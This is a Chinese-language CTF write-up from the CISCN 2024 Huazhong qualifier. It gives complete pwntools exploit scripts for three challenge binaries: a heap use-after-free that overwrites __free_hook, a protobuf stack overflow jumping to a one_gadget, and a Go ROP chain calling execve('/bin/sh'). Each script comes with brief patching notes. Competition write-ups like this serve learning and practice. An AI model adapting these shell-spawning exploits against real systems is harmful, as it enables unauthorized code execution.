CISCN2024华中赛区选拔赛
入围决赛,不枉此行吧
note
2.31 UAF,tcache 打__free_hook即可
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def menu(num):
sa('5. exit',str(num))
def add(size, content):
menu(1)
sa('The size of your content: ',str(size))
sa('content: ',content)
def edit(idx, content):
menu(2)
sa('index: ',str(idx))
sa('The size of your content: ',str(len(content)))
sa('Content: ',content)
def delete(idx):
menu(3)
sa('index: ',str(idx))
def show(idx):
menu(4)
sa('index: ',str(idx))
def pwn():
add(0x410,b'aaaa')
add(0x10,b'aaaa')
add(0x10,b'aaaa')
add(0x10,b'/bin/sh\x00')
delete(0)
show(0)
ru('Content: ',True)
libc.address=u64(r(6).ljust(8,b'\x00'))-0x1ecbe0
lg('libc',libc.address)
free_hook=ls('__free_hook')
system=ls('system')
delete(1)
delete(2)
edit(2,p64(free_hook))
add(0x10,b'aaaa')
add(0x10,p64(system))
delete(3)
dbg('')
itr()
if __name__ == '__main__':
context(os='linux',arch='amd64',bits=64,endian='little')
context.terminal=["tmux","splitw","-h","-l 100"]
binary='./pwn.patch'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()
至于patch,我直接把 free 这条代码删除了
protoverflow
就是一个protobuf的序列化,栈溢出,我直接打的one_gadget
syntax = "proto2";
message protoMessage {
optional string name = 1;
optional string phoneNumber = 2;
required bytes buffer = 3;
required uint32 size = 4;
}
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
import message_pb2
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def message(name,phoneNumber,buffer,size):
msg=message_pb2.protoMessage()
msg.name=name
msg.phoneNumber=phoneNumber
msg.buffer=buffer
msg.size=size
return msg.SerializeToString()
def pwn():
ru('Gift: 0x',True)
puts=int(r(12),16)
libc.address=puts-ls('puts')
lg('puts',puts)
lg('libc',libc.address)
one=[0x4f2a5,0x4f302,0x10a2fc]
payload=b'a'*(0x210+8)+p64(one[1]+libc.address)
dbg('b *$rebase(0x0000000000003344)')
s(message('xxx','1234',payload,0x300))
#dbg('')
itr()
if __name__ == '__main__':
context(os='linux',arch='amd64',bits=64,endian='little')
context.terminal=["tmux","splitw","-h","-l 100"]
binary='./pwn.patch'
context.log_level='debug'
elf=ELF(binary)
libc=ELF('./libc-2.27.so')
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()
至于patch的话,我首先的思路是限制 memcpy 读入为一个定值,但是死活过不掉check
想想索性直接把memcpy删掉,改下puts的参数为rcx,不影响正常服务
go_note
go语言静态小程序,有栈溢出。(ciscn对go情有独钟吗)
走open_syscall在bss上写binsh,然后execve_syscall即可,只是寄存器的gadget难找一些
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import *
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def menu(num):
sla('Your choice > ',str(num))
def add(content):
menu(1)
sla('Please input note content: ',content)
def delete(idx):
menu(2)
sla('Please input note id: ',str(idx))
def edit(idx,content):
menu(3)
sla('Please input note id: ',str(idx))
sla('Please input new content: ',content)
def show(idx):
menu(4)
sla('Please input note id: ',str(idx))
def pwn():
bss=0x527000+0x2000
rdi=0x0000000000462946
rsi_rsp_0xf8_rbp=0x0000000000462552
rdx=0x000000000047a8fa
rax_rbp=0x0000000000404408
syscall=0x000000000040316C
s
add(b'aaaa')
dbg('b *0x000000000047F41E')
payload=b'\x00'*0x40
payload+=flat([rdi,0])
payload+=flat([rsi_rsp_0xf8_rbp,bss,b'a'*0xf8,p64(0)])
payload+=flat([rdx,0x20])
payload+=flat([syscall])
payload+=flat([rdi,bss])
payload+=flat([rsi_rsp_0xf8_rbp,0,b'a'*0xf8,p64(0)])
payload+=flat([rdx,0])
payload+=flat([rax_rbp,0x3b,0])
payload+=flat([syscall])
edit(1,payload)
s('/bin/sh\x00')
itr()
if __name__ == '__main__':
context(os='linux',arch='amd64',bits=64,endian='little')
context.terminal=["tmux","splitw","-h","-l 100"]
binary='note'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()
至于patch的话,把循环改成定值就过check了
staticlink
我是懒狗,懒得看了